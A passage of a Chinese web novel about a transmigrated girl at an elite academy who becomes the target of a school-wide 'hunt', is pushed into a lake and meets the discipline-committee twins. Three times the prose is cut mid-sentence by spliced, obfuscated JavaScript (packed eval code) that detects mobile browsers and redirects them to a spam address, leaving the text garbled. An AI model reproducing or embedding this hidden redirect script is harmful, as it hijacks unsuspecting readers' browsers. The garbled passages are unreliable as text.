第二等是公寓,单人房间,设备现代齐全,每个公寓配备了女管家,每个房间配备一个阿姨,负责浆洗熨烫。第三等就是栗纯住的公寓,条件略次一点,仍然是单人房间,不过各方面的待遇要下降一等,需要共用浴室和厨房。 两者都需要按比例缴纳住宿费。除非去住属于资优生的免费公寓,多人寝室,同时免费供应水电。 安蔓跟着走进镶嵌着银色标识的豪华公寓,走廊上没什么人,大部分人都还沉浸在新年的欢乐之中,在外自由玩乐,只有几对爱侣依依不舍地在楼下接吻。 “趁着消息没传开,快点收拾东西吧!” 栗纯似乎常来,轻车熟路地把她带到一个房间外,房门镶嵌着花体字的“安蔓”。 “你快收拾房间!我帮你一起搬,你最好还是不要呆在这里的。你有去的地方吗?” 安蔓摇头。 栗纯推开门:“那我先收留你几天,然后你下课了就去和监理申请校外居住,不管是租房还是回家都好。快!动作快点!” 安蔓走了进去,原主的房间收拾的井井有条,简单优雅。 暖气开的很足,桌上有各色专业书籍,安蔓打开一本看了一眼,立刻关上,决定去收拾靴架上的鞋子。 除了收拾整齐的应季校服外,衣柜里摆满了低调雅致、充满设计感的长裙。看不出吊牌,但质感很好。旁边的柜子中有各种搭配的物品,还有许多装在盒子里的项链。全都没有摘吊牌。 “快点!别磨蹭!”栗纯焦急说。 安蔓被她的激动感染了,手心紧张得发热,找出一个行李箱,把所有衣服都放进去,打包鞋子,然后找到一个装书的包把书往里面塞。 她忍不住问:“为什么这么紧张?” 江赫再恐怖,应该也不至于夜闯女寝。 栗纯翻了个白眼,她现在是一点也不客气了,“你之前名气那么大,这次又有人轰轰烈烈地在论坛上曝光你,我打赌明天不到你的事迹就会传到风纪会耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【我去,兔子,风纪会终于注意到了?】 【黑兔子!乍一看还有点怀念。】 【兔子是什么意思,你们怎么这么激动。】 【蠢货,你但凡在外面搜搜,就能知道兔子是风纪会的标志!不懂别瞎开口!】 黑兔:【:)。】 头像上的绅士兔子头戴礼帽,身穿礼服,胸口正正地领结。它浑身漆黑,偏偏眼睛是纯洁无瑕的雪白,两边的嘴角咧到了耳边,看起来既可爱,又邪恶。 黑兔说:【诸位,针对目前的情况,风纪会已经接到了匿名检举。】 【经过查实,在针对安蔓小姐的检举中,指控一:家境造假事件。情况属实。安蔓小姐的家庭情况,并不如她此前宣称的那样,是个富豪的独生女。她是第三阶层的孩子,却对所有人撒了谎。 指控二:安蔓小姐脚踏多条船事件。正在调查中。 指控三:安蔓小姐年终成绩造假事件。正在调查中。 调查的具体结果,和安蔓小姐的具体家庭情况,碍于隐私问题,不便告知大家。请感兴趣参与这次审判的朋友,可以针对安蔓小姐违法乱纪的部分,积极检举,提供证据。证据包括但不限于,人证、物证、书证、录音、录像……等等。 检举成功的人士能够增加定额操行分。】 【本次狩猎的规则是:第一,不得违反法律和校规校纪。第二,不得违反公序良俗和共行规则。大家不要激动,不要尖叫,注意倾听。请谨言慎行。】 发言到这里静止了一刻。 却没人发出最新回复,打破沉寂。仿佛所有人屏住呼吸,共同等待接下来的时刻。 安蔓又刷新了一下,黑色兔子又跳出来。 它圆圆的眼睛凝视着屏幕外,嘴角只是一条僵硬单调的黑色线条,高高拉起,像是一个狂笑。 【既然大家都已经知晓了规则,我也不再赘叙。在这里,请由我宣布——】 【新年狩猎,开始了。】 5. 第 5 章 4. 【叮——】 【任务二发布:请在全学院的狩猎中‘逃出生天’。】 . “我最多收留你一个晚上,明天你就搬出去!” 栗纯一边把行李放在房间的角落,一边帮安蔓拿出洗漱用品,放在卫生间。 栗纯住在b级公寓的二楼。 单人间,房间整体比安蔓所住的银色公寓要小一点,里面有书桌、床、衣柜……各种基本设备一应俱全,只是需要共用浴室和厨房。 她原本打算在地上铺层被子,但看了一下窗外的天气,犹豫了一下还是皱眉说,“算了,今天晚上你还是跟我一起睡床。明天你赶紧跟监理打报告。” 安蔓警觉她在风纪会出现后,态度发生了很大的转变,“怎么了?” 栗纯看起来有点焦虑:“你不懂,你没有参与过,不知道狩猎意味着什么……你明天最好别让任何人看见,我不想和你产生联系。” 她似乎是看到那个帖子后像是立刻后悔了,但是碍于情面,还是不好意思食言,将她的行李搬了过来。就好像不让她搬过来,安蔓会被半夜敲门找麻烦一样。 想划分界限的态度十分明显,连黑料都不要了。 安蔓又问:“他们会怎么样?” 栗纯动了动嘴唇,最后只是说出一句:“他们不会怎样。” 安蔓自动补齐了后半句。 ——但你会怎么样,就不一定了。 对方害怕跟她扯上任何一丝关系。仿佛在今夜之后,安蔓这个名字会成为某种病毒,任何和她牵连上的人都会受到感染。 因此避如蛇蝎,畏惧不已。 安蔓忍不住和系统蛐蛐:“你们这个贵族学院,真是太可怕。” 系统:“明明是你自己手气太差!” 既然是被人收留,安蔓没有任何意见。 她换下衣服,小心叠好,找了一个包装袋放进去。随后摘下项链和耳坠,放入特定的盒子——要退的。 接着转头俯视十几件没拆吊牌的长裙——也要退的。 然后看着镜子里卸妆后的脸。 ……不知是否是巧合,这张脸也与她的真实的脸也极为相似,这种感觉十分诡异,让她几乎感觉是用的自己的身体。 德川显然是一个阶级森严的社会,四个等级之间逐级分明,区别和特权从每个角落体现出来,就连住处也是严格区分。 漂亮又没有背景的人,又犯了大错,是一尊完美的猎物。 可以拔去爪牙,而不担心弄伤手。 她又看了一会帖子,发现按照里面的走向越发危险,不仅是关于这个事件本身的讨论,关于她的讨论、照片、履历,还针对接下来会出手人员进了猜测。信息刷新的飞快。 在狩猎规则宣布完毕之后,那个帖子里的所有人都陷入了一种令人战栗的狂热,开始了以秒为计的刷新速度。 【狩猎开始了,真期待明天啊。】 【德川建校500年了,也是第一次遇到这种笑话。富装穷的有,穷装富的是真少见,还有没有人记得前两年那个装特招生想去第四阶级猎艳的小少爷怎么样了?我记得好像也是被人检举出来,然后大家一起玩他,热闹了好一段时间呢。】 【早就没消息了,他父母好像还是外交官,为了这件事抗议了好久。】 【哈,嚣张的我还以为他家是皇室。】 【不知道大家会给这个笑话什么样的惊喜~】 【有人打算先出手吗?我听说她明天上午有一节课,笑话在看这个帖吗,在的话吱一声,给我点暗示,你明天到底去不去啊。】 【她看了这个帖子会不会害怕的连夜逃走?】 【不会吧,她逃不了多久,除非她立刻退学然后逃出旬利。】 【那群天之骄子的少爷小姐都很恨她吧,玷污了这个阶层,还顶着校花的名头嚣张了这么久。】 【那个笑话站子更新了,披露了它和笑话的聊天记录,哇原来一开始笑话这个名头都是营销的啊。我说呢,我们怎么突然出来一个公认“校花”。】 【号外号外!最新消息~有个和同一门课的大佬要接手这件事,参与狩猎——】 你们这些天龙人为什么那么无聊,没有别的娱乐方式吗! 安蔓皱着脸,决定从明天开始素面朝天,从外表上降低吸引力,从一堆衣服里找出最有性缩力的外套,争取把自己裹成臃肿的熊猫。 然后接着看帖子搜集资料,可惜后面关于那个要出手的“大佬”消息十分之少,翻了十几分钟,最后才找到了几条。 【什么大佬?搅屎棍又要出手了吗,他可真爱凑热闹。】 【什么搅屎棍,请尊称他为职业猎犬,这个狗什么不掺和一脚。】 【哈哈,怎么不算大佬呢~】 . 第二天早上,天空开始飘雪。 铅灰色的阴云笼罩了天空。 学校外观是城堡式的建筑,红墙白瓦,中间伫立着一座白色尖塔,古铜色的大钟镶嵌在正中,静谧旋转。 教学楼在其中巍峨耸立,尖顶错落,浮雕环绕。每层楼镶嵌着扇形大窗,楼梯边有木质的是雕花扶手,都散发着一种高贵而古典的神秘气息。 安蔓第二天一早就起来,迅速洗漱完毕之后,找一个所有人都不在的时机离开。 昨天的新年舞会,许多人通宵狂欢,今天早上大部分还在沉睡中,除非早上有课很难醒来。 她昨天搜了半天,一直没有得到准确的关于“狩猎”的答复,今天便迅速远离所有人,卡点站在了教室外。 如果不是手机自带的日程,提醒有课,并且不出勤就会挂科,她现在已经打了报告逃出学校。 她不知道是哪种狩猎。 ——万一是一群贵族变态,心血来潮玩真人逃杀呢? 距离上课不到一分钟的时间,安蔓站在了教室的门口,人烟嘈杂鼎沸,议论声热火朝天。 她深吸一口气,推开门走了进去,议论声扑面而来。 …… “她会来吗?不会不敢了吧。” “如果她不想退学的话,今天肯定会来。我查过的,她这门课出勤率不够,如果今天不来的话肯定会挂科。” “这种事都出来了,她还敢在这个学校混吗?不如尽早失去了退学算了!丢脸死了,我要是她早就自杀了!” “还剩三十秒不到了,肯定是胆子太小跑吧!” “哈哈。” 细细碎碎的议论声飘荡。 所有人议论的都是今天的头版新闻,那个被揭穿真面目的骗子,然后猜测新闻主角今天是否会来。 这群天潢贵胄的贵族公子、小姐们,甚至在最后不到三十秒的时间打起了赌,但在赌注还没有下好之时,半掩的教室门突然被推开。 一束光线从外面射入教室,略显昏沉感的空间霎时间明亮起来。 故事主人公走了进来。 她穿着德川冬季的制服外套,黑色大衣长至脚踝,将整个人包裹的紧密严实,只露出了一张白皙而光洁的脸。淡粉色的嘴唇紧紧抿着,一言不发。 未施粉黛,睫毛微垂,雪白纤细的长颈微微垂下,仿佛天鹅垂首,又像是不堪重负,只要轻轻一压就能碾碎。 有种……漂亮到令人窒息的清艳感。 安蔓在一片寂静中,捧着书走进教室。 她感觉到无数目光汇聚在身上。 实话实说,原主虽然是校花,但其实在学校里并不是那么火。 除了她的追求者,和地位不如她的人,大部分人都把这个校花名称当做一个笑话。 毕竟在这座学校里最不缺的就是富豪,有权有势的人比比皆是,大部分人都是天之骄子,唯有塔顶的人令人仰望。 这可能是她这辈子最火的一刻。 自从安蔓从教室外走入。 所有满怀恶意的天之骄子停止了说话,侧头凝视她。 众星捧月,如履薄冰。 一道道晦涩不明的目光,在她低垂的眉眼和苍白的嘴唇上扫过。 凝视她修长的脖颈,紧紧按着书的手,和因为衣袖滑下露出的一节白到晃眼的小臂。 只是看着看着,那些冷漠厌恶,傲慢轻视的视线,渐渐变得意味不明起来。 安蔓低头穿越走过寂静的人群,走过课桌之间的通道,到达了最后的位置坐下,开始规划最佳逃跑路线。 原主不知道出于什么目的,选择了和江赫一样的哲学系。除此之外,她还选修了一门心理学。 今天早上她要上的课,就是心理学相关课程,时间在早上九点。她将大部分行李留在了原来的宿舍,小部分留在了栗纯这那,准备今天找到住处后,找人来搬。 然后在晚上,就不得不面临和江赫一个教室的事实! 昨晚,江赫是真动了掐死她的念头。 “安蔓小姐。”坐在旁边的男生突然开口说话了。 他转过头露出了一张灿烂的笑脸,目光却直直盯着她的脸,一边看一边开口,“不知道你还记不记得我,我叫许市。” “抱歉。”安蔓转头面对他露出一个假笑,“能自我介绍一下吗。” “是我的错,看来我上次没有给你留下深刻的印象。” 许市拿着书,对她颇为绅士地摊了摊手,讲台上教授已经打开了电脑,开始板书,但他只是熟视无睹将书放在一边。 其实他根本没有跟这位的“校花”搭过话,但是这并不妨碍他信口开河。 许市最开始,只是自告奋勇,来狩猎这朵美丽的花,一早就让人将所有的位置堵上,只留下旁边的空位。 现在看着她的脸,倒是真有了几分收藏的兴趣,“我的母亲是旬利银行的行长,父亲是旬利市的执政官,我叫许市,我们同选了一门心理学选修课。” “安蔓小姐,想必你已经知道论坛上发生的事情了吧。” 安蔓怀疑这个二代在跟她炫耀自己的权势,然后反应过来,这人就是宣称要来狩猎她的“猎犬”。 对方并不是第一次参与活动,帖子里说,猎犬急切地宣称自己能拔得头筹。 安蔓绷紧了身体,露出一个略带茫然的脸色,“是的,请问……” 许市盯着她的脸,笑了一下,意味不说自明,“今天开始风纪会就会对你启动审查,接着你所有的事,你想曝光的,不想曝光的私密,都会被摊开一件件一幕幕的被翻出来在大众面前审视。在这种时候你十分危险,我认为你这样漂亮,又聪明的小姐应该选一个可依偎的靠山。” 安蔓继续假笑:“抱歉……?我大概知道你说的是什么,但我相信风纪会强调过要遵纪守法。” “狩猎一经开始,便无法停下。” 许市意味深长地说,“在光明的地方,大家都是天使,但总有监控照不到的地方。” 他展开双手,舒舒服服地靠在后椅上,姿态舒展,周围无一人抬起头对他的语言和姿态产生质疑,“我以为你是一个擅长审时度度的好姑娘,对吗?” 安蔓微微一愣,露出了茫然而不知所措的表情,显得美丽而无助。 许市动作随意地将书翻开了一页,“换了个人可不会像我这么好说话,你应该庆幸今天来的是我。我给你一节课的时间考虑。” 安蔓低下头,声音极轻,仿佛不堪重负,“我考虑一下。” 然后在心底紧急呼叫,“系统系统,遇到神经病了。你帮我看一下下课时间,等会一到时间就通知我,我从后门跑。” 系统的电子音也有些不知所措:“他、他是不是在勾搭你啊!” 不仅是在勾搭,还威胁她。 如果她不答应,这个人就会对她出手。 安蔓低下头,轻轻翻着书页,很遗憾的发现了自己的又一个致命缺陷——她变成文盲了。 可能是世界的差异,两个世界的文化背景略有不同。翻阅一遍后,部分心理学的理论她只觉得似曾相识,但仔细一看又大致不同。 但她现在已经来不及担忧这个。 她能够察觉到,旁边许市的目光若有若无地落在她的身上。姿态笃定,目光自信,像是相信她一定会答应。 他应该在这群人中,也属于地位较高的那一个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855465|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 安蔓在原文中看过叫“许市”的炮灰。 再根据论坛的透露可知,这人是个搅屎棍,任何人被他缠上都会阴魂不散,后患无穷。 只有以最干脆的方法斩断他的念头。 * 教授在台上慷慨激昂,却从来没有管过这个角落。那些贵族二代视线若有若无地飘来,却没有停留太久。 系统紧张地倒计时:“快下课了,还有十分钟……三分钟……一分钟!” 安蔓不准备跟这人玩什么猫捉老鼠的游戏,她一接近下课就猛然站起来,吓了台上的教师一跳,“报告!” “什么事?” 老师愣愣地看着她,她站了起来,在所有人的目光中转向许市。 然后再对方困惑的眼神中,大声说,“报告老师,我想告诉许市同学!不好意思我考虑了半天还是不接受你的潜规则!无论你怎么污蔑我都相信,风纪会是一个伟光正的组织!” 教室嗡地议论起来。 即使很多人对风纪会心存不满,但从来没有敢光明正大地宣扬,那等于找死。 许市的目光陡然变得阴沉,“你……” “就算你再怎么恐吓我,我也不会帮你抹黑风纪会的!” 安蔓理都不理,猛然转向老师:“抱歉老师,我害怕许市同学报复!想先走一步。” “好、好的。” 安蔓抱起书,转头就走,她刚走出教学楼铃声就响了,里面所有学生一哄而散! 她快步踩着点,避开了所有人,准备去找二年级的监理申请校外住宿,不管这个狩猎是怎么样的,她都不打算按照他们的方式去进行。 走了没多久,电话就响了,是个陌生号码,她犹豫了一下点了接通,是个恼怒的男声。 “敬酒不吃吃罚酒,你以为自己很聪明吗?其他人可没我这么好说句话。” 安蔓:“就这?有病滚。” 对面冷冷地笑了一声,“你这样刺头反而会更激起别人的打压欲。风纪会建校以来狩猎从来没有失手过,因为这个世界上没有完美无缺的人……” 狩猎对象等于一个强标记、告诉所有人。 她现在是特招生下的第五阶层,是被选中的——所有人都可以捕获的猎物。 安蔓本来想他的话里获取一些信息,结果得到了一串没有营养的恐吓,渐渐失去耐心,“还有吗?” “你最好再想想我的提——” “我们根本不认识,建议你治下妄想症。” 安蔓挂掉电话,不理这个莫名其妙对她感兴趣的神经病,快步向前走。 修建宽阔的路面上沾着薄薄的积雪,天空飘着细白的雪,薄雾皑皑的天气之下,路上的行人不多。 但安蔓无论走到哪里,都感觉有视线在如影随形。 她开始对这个狩猎的含金量,有了一点体会。 因为无论走到哪里,无论是在哪停下。 她每次一转头,就发现有人在看她。 这个氛围让她汗毛倒竖,加快脚步,想要走上横在德川湖上的小桥。结果这时,从身后传来一句呼唤。 “安蔓小姐。” 安蔓听到有人叫她,声音由远及近。 急促的脚步声追了上来,有人在快步接近她。 安蔓不想搭理,但是那个呼喊一声接着一声,执着又烦人,怎么也甩不掉,反而越来越近,逼的她几乎要跑起来。 “安蔓。”声音到了后方,是许市的声音。 对方在她的肩膀上搭了一只手,用力按住,强迫她停了下来,转头看他。 许市不知道什么时候跟了上来,站在她的身后,看着她,眼睛微微发亮,脸贴在她的身侧,靠的很近。 安蔓看见他带着笑容的脸,和已经触碰到她肩膀上的手。 “逃跑是没用的。”他说。 那只手轻轻一推,她的身体重心霎时失衡,不受控制地向后倒去,手里的书落在地上。 许市轻轻亮着的、带着恶意笑容的眼睛,留在她的视网膜里。 嘴角一张一合,像是在说什么。 “真是的,本来不打算这做的。” 他在说,“……这里可没有监控啊。” 安蔓掉进了水里。 冰冷刺骨的水在一瞬间向她涌来! 安蔓几乎感觉不到体温,水从她的鼻子、耳朵、嘴唇、眼睛、涌进身体。 她大口地呛着水,身体无力的在湖中乱动。好一会儿都无法感受四肢,只能茫然地挣扎游动,找不到方向。 她想起充满消毒水味的医院,穿着白大褂的医生,目光所及全是白茫茫的一片。急促的脚步、交谈、心电图的滴滴声,有人按住她的手臂,将针刺入血管,液体在手臂流动,她当时也是这个念头—— 好冷。 ……好痛苦。 . 哗啦—— 安蔓被人抓着手臂拽出水面,她吐出一口湖水,狼狈地拽着湖边的草坪,大口大口地呼吸。 水滴滴答答地先从她的脸颊、耳垂,手臂落下,沾湿了一片土地。 她浑身发抖,控制不住地落泪,手指紧紧地抓着草坪喘气,指尖陷入泥土。 好一会,才清晰了视野看见前方的场景。 眼前停了一双皮鞋。 她抬起头,却并不是许市,那个傻x现在正站在稍远一点的地方,眼前穿着皮鞋的人是那天在江赫身边帮她说话的朋友。 他穿着德川量身定制合身的黑色燕尾服、白色衬衫、圆领扣、黑色的马甲,外套上别着一只精致的绅士白兔胸针,浑身像是在发光。 面庞白皙,气质温和而从容,带着一种金玉堆砌的奢侈感。 他担忧地看着她,对她微笑,轻声说,“你还好吧?” “需要……帮助吗?” . 【叮。】 【任务二:请在全学院的狩猎中‘逃出生天’。】 【任务描述:搞定韶景戈、韶景荻,躲过风纪会的狩猎。】 【检测到关键人物,韶景戈出现,请把握机会,尽快脱困。】 6. 第 6 章 6. 安蔓抓着韶景戈的手,挣扎上岸。 她浑身都湿透了,漆黑的发丝全部散开,贴在雪白的脸颊上,碎玉似的水珠正从她的耳垂上、睫毛上、指尖上细细地滴落下来。 衣服吸饱了水,又重又紧地贴在身上,让她的每一步都变得十分艰难。鞋子也浸透了水,每走一步留下深深的湿印。 寒冷的天气里,空中还在一簇簇地飘着雪,一片晶莹的雪花吻在她颤抖的睫毛,她控制不住地发抖,牙齿咯咯作响。 “穿上吧。”韶景戈褪下外套披在她的肩膀上,“先把衣服换了。” 安蔓一言不发地接过衣服,脱掉沉重的大衣外套,然后是紧贴着的毛衣。 韶景戈光明正大地站在一边,垂眼看着安蔓沉默低垂的眉眼,和被水浸得雪润苍白的脸。 皮肤很白,很薄,柔软而白皙的侧脸上,带着因为寒冷而激动泛起绮丽的靡红血色。 她穿上外套,颤抖地拢紧,湿漉漉的睫毛,在昏暗天色下微微闪烁着光泽。 和几个月前,那种花花蝴蝶一样浮躁不平的气质不同,整个人像是变了一个人一样。 身上的气质更危险了,也更复杂了,如同琼花般轻易又坚韧,有一种令人施虐欲膨胀的脆弱感。 很容易吸引一些强势、复杂、变态的人物。 “是这个人把你推下去的吗?”韶景戈轻飘飘地开口。 站在一边的许市上前一步,紧紧抿着嘴唇,脸色倒是显得冷静,“我没有打算害她,我只是想看她求救,然后再帮她。” 这是一个弱肉强食、阶层分明的世界,而这一点在这所贵族学院中体现的淋漓尽致。狩猎对象没有人权,它是第五个阶层,被所有人凝视的存在。 许市也不想搞出人命,只是准备在安蔓求救的时候,提一些无伤大雅的条件,好让自己在所有人面前展示自己拿下了猎物。 大家都这么干,没有他还会有其他人。 而他好歹看着安蔓漂亮的脸蛋,打算给她一个温柔的待遇,直到被拒绝了才改变主意。这样虚伪的人应该受个教训,才会老实听话。 人人都这么干,他只是运气不好,当场被风纪会的会长发现了。 韶景戈没有理他,只是将披在安蔓身上的外套拢了拢,帮她扣上扣子,轻飘飘地问,“需要我帮你……主持公道吗?” 许市的呼吸随着这句话变快。 但他没有反驳,就和他默认学院的潜规则一样,默认了这种处理方式。 安蔓嘴唇发绀,那是缺氧和血液循环不畅的标志,“谢谢,但我想自己来。” 她神情冷漠地走到许市面前,看着他无所谓的、不认为安蔓能做出什么的脸一会。 忽然扬起手,用了十成的力度,啪地扇了他一巴掌! 许市的头被打偏到一边,脸庞迅速肿了起来。 他猛然抬头,不可置信地握紧拳头,眼中洋溢怒火! 屈辱、不甘的神色在他的脸上交杂闪过,但碍于韶景戈在场,最后只是强行保持沉默。 显然他默认韶景戈,是个有资格处理他的人。 而安蔓这样的贱民不行。 呵呵,就是要羞辱你,垃圾。 安蔓扇了一巴掌,打的手掌嗡嗡作响,脸上的表情还是十分镇定,“可以给我们一个单独相处的空间吗?” “当然。” 韶景戈微微一笑,退开了一段距离,“你们单独说话吧。” 等他离远一点,安蔓感激一笑,然后又转回刚刚的位置,对着许市再次扬起手扇了一巴掌。 啪! 许市额头青筋暴起,手攥成拳,脸色屈辱又愤怒,只是强压忍耐。 等安蔓再次扬起手,他额头上的青筋又跳了一下。许市这辈子只在家里挨过打,但此刻别无他法,只狠狠记住了此刻的屈辱不甘。 果然贱民就是贱民,抓住机会也只懂得泄愤,而不知道谋取好处,要不是这次被韶景戈看见了…… 他强压着怒火,心里已经算好事后如何报复,还是咬牙闭上了眼睛等待。 这次落在脸上的却是一个轻柔而和煦的抚摸。 他刷地睁开眼,看见安蔓仰着头,轻柔地触碰他脸上的红肿,“打痛了吧。” “你在干什么……”许市声音烦躁。 “抱歉,但是如果不这样,我要怎么说服邵会长呢,风纪会的处罚应该很可怕吧。” 作为一个监管学生纪律的组织,会用的处罚无非是那几种,警告、处分、退学,或者……下一轮的狩猎。 许市的脸色十分难看,显然是被戳中了痛点,他害怕带着处分回家,“别以为现在有韶景戈你就——” “我会跟他说刚刚只是朋友间的打闹。” 安蔓一句话截住他的话头,面色冷淡如雪,“你这么性格低劣,应该没什么朋友,在外风评也不太好吧,我知道很多人悄悄说你坏话。” 许市不可置信地看她,一边排斥她的话,一边又因为脸颊上若有若无的触碰而困惑,“你……” “但我相信你,只是因为学不会正确对待女生的方式。” 安蔓在他的脸上重重地按了下去。 许市红肿的脸颊一阵刺痛,随后又感觉到那个抚摸轻柔起来,安蔓的手指纤细又柔软,带着淡淡的湿冷。 她浓密的睫毛粘着未擦干的水珠,皮肤毫无血色,声音却平静而冷淡,“我相信你这次不是故意的,我也不希望你受到惩罚,作为交换,暂时保护我好吗?” 许市想要嘲笑她异想天开,靠着点小恩小惠收买他,但脸上被触碰的地方像是火烧一样滚烫起来,“你做梦——” “下次上课,我希望你也坐我旁边,好吗?” 许市冷笑道,“你——” 安蔓又问,“好吗?” “……好。” 安蔓收回手,转头走向韶景戈。 她能感觉得到许市还盯着她的背影。 系统这时候才发出弱弱声:“……你刚刚在干嘛啊。怎么放过他了。” 安蔓:“训狗。” 安蔓不可能放过他,她最痛恨那种生命受到威胁的感觉。 但垃圾就是垃圾,处理不干净还会被沾上,不如废物利用。 任务是要她攻略那群天龙人,然后让他们给他做狗。 她业务不太熟练,正好在这个傻x身上练手。 “解决完了?” 韶景戈见她走了过来,微微一笑,“很聪明的选择。” 他唇红齿白,气色极佳,头发带着一点自然卷,颜色漆黑如夜空,灰雾般的眼睛让人想起晨曦中融化的雾气,柔和体贴, “你这身衣服不行,这个天气,等会儿要是发烧了就不好了。跟我去附近的休息室吧,我让人去给你拿一套换洗的衣服。” 安蔓垂眼接受,“谢谢你。” “不客气,我本来就是风纪会的会长,维护校园秩序是我应该做的事。” 他绅士地伸出手臂,“不介意的话可以先挽着我。” 安蔓顺从地挽着他的手臂。 韶景戈的情商很高,首先对于刚刚那件事,他问都没问。然后看她在寒风中瑟瑟发抖,主动提供休息室,还看出她有些脱力。 解决完刚刚那件事,安蔓才想起了一个问题,她和这厮的初见,就是在江赫旁边,她当时根本不认识这人,现在也表现的和陌生人一样。 但原著里说了,原主可是试图脚踏——四——条船才被联手制裁的。 安蔓:“……” 她立刻让系统翻资料。 韶景戈、韶景荻,是一对兄弟。也是一对在贵族学院里大名鼎鼎的恶魔双生子。两个人看似一个温和一个顽劣,但这只是表象,实际上本质都是如出一辙的恶劣。 这对恶魔双生子出生在旬利大名鼎鼎的韶氏家族,作为一个生意贯通内外,势力占据海外,在各个领域都盘根错节势力非凡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855466|159348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家族,韶家与这对双生子一样声名赫赫。 这点在原著中,没有具体描述,原主如何脚踏多船,也没有写。 唯一有较多描写的,只有双生子分别是风纪会的正副会长,以及两人长得一模一样这件事。 问题来了,他们不仅长得很像,而且非常爱交换身份—— 你们这个系统是有病吗!到底有多少个坑啊! 安蔓一边故作淡定地和韶景戈寒暄,一边问:“这个到底是哥哥还是弟弟!” 系统:“不知道,按照设定来说,他们浑身部上下所有地方都是一模一样。” 安蔓忍不住歪了一下思路:“所有,地方,都是一模一样?” “……你这个问法怪怪的。”系统警惕地问:“你在想什么。” 安蔓:“没什么。” 她只是想到上辈子看到的很多小说。 上辈子的她家境也一般,不如这群少爷那么多娱乐,她这种不爱出门的阴暗人就爱看点小说,其中难免会涉及到双子题材,就会有很多不好形容的情节。 比如女主被哥哥从背后抱住,手臂健壮有力地做下蹲,低声问,“感受一下,我是哥哥还是弟弟。” 比如弟弟妒火丛生,把女主带到健身房,训练俯卧撑,“是哥哥体力好还是我体力好,我们谁的时间长一些?” 此外,还有一前一后…… 安蔓:“。” 一些不可说回忆涌上心头,搞的人心黄黄。 “抱歉,我之前约了个人,等会可能要先去打招呼。”韶景戈温和的声音从左边传来。 跨度太大,安蔓努力让自己的脸色不要显得太扭曲,“好的,没关系。” 韶景戈说,“恕我直言,安蔓小姐。我认为刚刚直接让我惩罚他更好,校内霸凌是一件非常严重的指控,如果不及时阻止,可能会导致泛滥。” “因为许市不是根源,而且这件事,这样治标不治本。” 安蔓上辈子也有过这样的经历。 无处喧嚣的恶意,躁动的环境,赤裸裸的注视,无处不在的目光。 这一切说到底,固然是原主犯的错,但是她不应该受到这样的集体审判。她可以被退学,可以被处分,这些都是应有的结果。 但畸形的环境把一切都扭曲了。小说里,原主曾经用某种方法陷害过女主,让女主成了全学院的公敌。 现在女主怒而报复,将原主的丑闻都揭露出来,使得原主自己成了被所有人审判的对象。处境调换,猎人成了猎物,自食恶果。 韶景戈说,“哦,是这样吗?” 两个任务,都有相同规律。 任务描述里出现的人名是事件关键人物,可以左右事情的走向。开始是江赫,然后是这对双生子。 “我们小人物有自己的生存之道。” 安蔓站直了身体,从他的手臂上汲取体温,思索原主和这人到底认不认识,以及事情的突破口。 就发觉他忽然停下,看着前方微笑。 两人已经走入学校的建筑物的走廊内,安蔓顺着目光看过去。 走廊尽头的公用休息室,站着一个男人。 笔挺的制服,金边眼镜,薄薄的镜片下是一双充满异域风情的绿色的眼睛。 他的面容冷峻,闪烁的绿眼睛里带着冷酷的光芒,声音不带一丝感情。 “你太慢了,韶景戈。” 韶景戈看着前方,打了一个招呼,微笑说,“还好,时间差不多。” 安蔓:“……” 有病啊,有本事你早说约的是这人啊! 刚刚还在聊原主的债,现在她的债就来了。 安蔓的笑容忽然僵硬,刚想转身,就发现自己被韶景戈轻轻按住了手。而前方那个债主的目光已经落在身上。 “别让她逃跑了,韶景戈。” 江赫目光似刀将她从头到脚刮了个头,声音阴测测的, “把她带过来。” 7. 第 7 章 7. “你全身湿透了,还能去哪。”韶景戈说。 安蔓进退不能,只能看着江赫挡在休息室前。 他的脸色又冷又淡,居高临下地盯着她,神情毫无缓和,脸上仿佛打上几个大字。 ——你完了。 安蔓被韶景戈按住,虽然可以强力挣脱,但是这样太过突兀了,只能不动声色地低下头,轻轻摇了摇头。 什么意思,自己猜。 果然,韶景戈以特有的体贴想了一个合适理由,看了江赫一眼,玩笑道,“告白失败,所以觉得尴尬不敢面对吗?就算这样也没必要转身就跑,至少吹干了再说。” 安蔓感觉江赫的视线,从脸上,移到她湿漉漉、还在滴水的指尖。 她浑身都湿透了,外面还罩着一件宽大的外套。整个人依偎在外套里,尽量让自己显得娇小又可怜。 韶景戈说:“有什么事先让她洗个澡,换身衣服再说吧。” “你什么时候这么有同理心了。”江赫的声音没有起伏。 “她刚刚被人推下水,需要一个温暖的环境。”韶景戈微笑,“我以为你一直知道我是一个温和善良的人。” 安蔓低头装死,听他们对话,然后感觉自己被轻轻握住了手臂向前走去,一步步到达江赫面前。 然后和他擦肩而过,走进休息室。 韶景戈在场,江赫没说什么。 但他的视线跟随着她,钉在身上,一路跟了进去。这显然不是什么友善的信号。 休息室里温暖一片,一走进去就像是踏入了春天,暖意一直从指尖开始向身体蔓延。 